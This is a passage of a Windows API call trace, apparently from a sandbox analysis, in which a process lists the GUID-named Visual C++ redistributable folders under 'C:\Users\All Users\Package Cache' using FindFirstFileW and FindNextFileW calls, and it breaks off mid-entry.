ftCreationTime.dwLowDateTime=0x4c8dfa73, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0217.292] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c0dea, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0217.292] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388682fc, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x3888e6f3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x3888e6f3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0217.292] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f2d0b1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44f2d0b1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44f2d0b1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0217.292] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f79386, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44f9f6d5, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44f9f6d5, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0217.292] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4965d4d1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4965d4d1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4965d4d1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0217.293] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ea95f3, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69eaf8db, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69eaf8db, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", cAlternateFileName="{EEA66~1.285")) returned 1 [0217.293] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49704b0b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0217.293] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49704b0b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0217.293] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0217.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0217.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0217.294] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0217.294] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*" (normalized: "c:\\users\\all users\\package cache\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.295] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.296] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", cAlternateFileName="{0FA68~1.285")) returned 1 [0217.296] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496a9699, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x496fd5cd, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x496fd5cd, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0217.296] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6502f6da, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6502f6da, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6502f6da, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", cAlternateFileName="{2BC3B~1.285")) returned 1 [0217.296] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x387f5bb4, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x387f5bb4, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0217.296] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44fce5b7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44fdd028, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44fdd028, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0217.297] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c893534, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0217.297] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x64df9047, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{65e650ff-30be-469d-b63a-418d71ea1765}", cAlternateFileName="{65E65~1")) returned 1 [0217.297] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69df918b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", cAlternateFileName="{6913E~1")) returned 1 [0217.297] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec09f7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", cAlternateFileName="{7D0B7~1.285")) returned 1 [0217.297] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c938406, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0217.297] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8dfa73, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0217.297] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388c0dea, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x388c34a7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x388c34a7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0217.298] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388682fc, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x3888e6f3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x3888e6f3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0217.298] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f2d0b1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44f2d0b1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44f2d0b1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0217.298] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44f79386, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x44f9f6d5, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x44f9f6d5, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0217.298] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4965d4d1, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4965d4d1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4965d4d1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0217.298] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ea95f3, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69eaf8db, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69eaf8db, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", cAlternateFileName="{EEA66~1.285")) returned 1 [0217.298] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49704b0b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x49704b0b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x49704b0b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0217.299] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.299] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0217.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0217.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.300] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", lpFilePart=0x0) returned 0x53 [0217.300] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.302] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.302] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.302] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0217.302] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0217.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", lpFilePart=0x0) returned 0x53 [0217.303] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0217.303] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.303] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.303] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.303] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0217.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0217.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0217.304] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0217.304] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6505595c, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6505595c, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6505595c, 